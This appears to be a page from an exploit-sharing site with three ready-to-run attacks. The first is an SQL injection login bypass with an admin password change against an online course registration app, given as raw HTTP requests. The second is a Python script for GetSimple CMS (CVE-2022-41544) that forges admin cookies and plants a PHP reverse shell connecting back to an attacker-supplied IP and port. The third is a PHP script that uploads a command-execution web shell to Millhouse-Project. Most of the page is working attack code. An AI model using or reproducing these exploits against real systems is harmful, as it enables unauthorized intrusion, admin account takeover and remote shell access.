Latest exploits :: CodePwn

<pre><code>## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing ## Author: nu11secur1ty ## Date: 05.25.2023 ## Vendor: https://github.com/nikhilkeshava ## Software: https://github.com/nikhilkeshava/online-course-registration- ## Reference: https://portswigger.net/web-security/sql-injection, https://portswigger.net/web-security/sql-injection/lab-login-bypass ## Description: The `username` parameter appears to be vulnerable to SQL injection attacks. The payloads 77834251' or 6127=6127-- and 98762777' or 4535=4542-- were each submitted in the username parameter. These two requests resulted in different responses, indicating that the input is unsafely incorporated into a SQL query. The attacker can use this bypass login vulnerability to send a remote POST request to set a new administrator password for himself, which is absolutely nasty. STATUS: HIGH Vulnerability [+]Payload: ```POST POST /online-course-registration/admin/index.php HTTP/1.1 Host: pwnedhost.com Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn Content-Length: 62 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://pwnedhost.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://pwnedhost.com/online-course-registration/admin/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close username=nu11secur1ty%27+or+1%3D1%23&password=password&submit= ``` [+]Exploit: ```POST POST /online-course-registration/admin/change-password.php HTTP/1.1 Host: pwnedhost.com Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn Content-Length: 58 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://pwnedhost.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://pwnedhost.com/online-course-registration/admin/change-password.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close cpass=password&newpass=password5&cnfpass=password5&submit= ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html) ## Time spend: 01:15:00 </code></pre>

<pre><code># Exploit Title: GetSimple CMS v3.3.16 - Remote Code Execution (RCE) # Data: 18/5/2023 # Exploit Author : Youssef Muhammad # Vendor: Get-simple # Software Link: # Version app: 3.3.16 # Tested on: linux # CVE: CVE-2022-41544 import sys import hashlib import re import requests from xml.etree import ElementTree from threading import Thread import telnetlib purple = "\033[0;35m" reset = "\033[0m" yellow = "\033[93m" blue = "\033[34m" red = "\033[0;31m" def print_the_banner(): print(purple + ''' CCC V V EEEE 22 000 22 22 4 4 11 5555 4 4 4 4 C V V E 2 2 0 00 2 2 2 2 4 4 111 5 4 4 4 4 C V V EEE --- 2 0 0 0 2 2 --- 4444 11 555 4444 4444 C V V E 2 00 0 2 2 4 11 5 4 4 CCC V EEEE 2222 000 2222 2222 4 11l1 555 4 4 '''+ reset) def get_version(target, path): r = requests.get(f"http://{target}{path}admin/index.php") match = re.search("jquery.getsimple.js\?v=(.*)\"", r.text) if match: version = match.group(1) if version <= "3.3.16": print( red + f"[+] the version {version} is vulnrable to CVE-2022-41544") else: print ("This is not vulnrable to this CVE") return version return None def api_leak(target, path): r = requests.get(f"http://{target}{path}data/other/authorization.xml") if r.ok: tree = ElementTree.fromstring(r.content) apikey = tree[0].text print(f"[+] apikey obtained {apikey}") return apikey return None def set_cookies(username, version, apikey): cookie_name = hashlib.sha1(f"getsimple_cookie_{version.replace('.', '')}{apikey}".encode()).hexdigest() cookie_value = hashlib.sha1(f"{username}{apikey}".encode()).hexdigest() cookies = f"GS_ADMIN_USERNAME={username};{cookie_name}={cookie_value}" headers = { 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookies } return headers def get_csrf_token(target, path, headers): r = requests.get(f"http://{target}{path}admin/theme-edit.php", headers=headers) m = re.search('nonce" type="hidden" value="(.*)"', r.text) if m: print("[+] csrf token obtained") return m.group(1) return None def upload_shell(target, path, headers, nonce, shell_content): upload_url = f"http://{target}{path}admin/theme-edit.php?updated=true" payload = { 'content': shell_content, 'edited_file': '../shell.php', 'nonce': nonce, 'submitsave': 1 } try: response = requests.post(upload_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Shell uploaded successfully!") else: print("(-) Shell upload failed!") except requests.exceptions.RequestException as e: print("(-) An error occurred while uploading the shell:", e) def shell_trigger(target, path): url = f"http://{target}{path}/shell.php" try: response = requests.get(url) if response.status_code == 200: print("[+] Webshell trigged successfully!") else: print("(-) Failed to visit the page!") except requests.exceptions.RequestException as e: print("(-) An error occurred while visiting the page:", e) def main(): if len(sys.argv) != 5: print("Usage: python3 CVE-2022-41544.py <target> <path> <ip:port> <username>") return target = sys.argv[1] path = sys.argv[2] if not path.endswith('/'): path += '/' ip, port = sys.argv[3].split(':') username = sys.argv[4] shell_content = f"""<?php $ip = '{ip}'; $port = {port}; $sock = fsockopen($ip, $port); $proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes); """ version = get_version(target, path) if not version: print("(-) could not get version") return apikey = api_leak(target, path) if not apikey: print("(-) could not get apikey") return headers = set_cookies(username, version, apikey) nonce = get_csrf_token(target, path, headers) if not nonce: print("(-) could not get nonce") return upload_shell(target, path, headers, nonce, shell_content) shell_trigger(target, path) if __name__ == '__main__': print_the_banner() main() </code></pre>

<pre><code><?php /* Exploit Title: thrsrossi Millhouse-Project 1.414 - Remote Code Execution Date: 12/05/2023 Exploit Author: Chokri Hammedi Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project Software Link: https://github.com/thrsrossi/Millhouse-Project.git Version: 1.414 Tested on: Debian CVE: N/A */ $options = getopt('u:c:'); if(!isset($options['u'], $options['c'])) die("\033[1;32m \n Millhouse Remote Code Execution \n Author: Chokri Hammedi \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n \033[0m\n \n"); $target = $options['u']; $command = $options['c']; $url = $target . '/includes/add_post_sql.php'; $post = '------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="title" helloworld ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="description" sdsdsds ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="category" 1 ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="image"; filename="rose.php" Content-Type: application/x-php <?php $shell = shell_exec("' . $command . '"); echo $shell; ?> ------WebKitFormBoundaryzlHN0BEvvaJsDgh8-- '; $headers = array( 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzlHN0BEvvaJsDgh8', 'Cookie: PHPSESSID=rose1337', ); $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); $response = curl_exec($ch); curl_close($ch); // execute command $shell = "{$target}/images/rose.php?cmd=" . urlencode($command); $ch = curl_init($shell); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $exec_shell = curl_exec($ch); curl_close($ch); echo "\033[1;32m \n".$exec_shell . "\033[0m\n \n"; ?> </code></pre>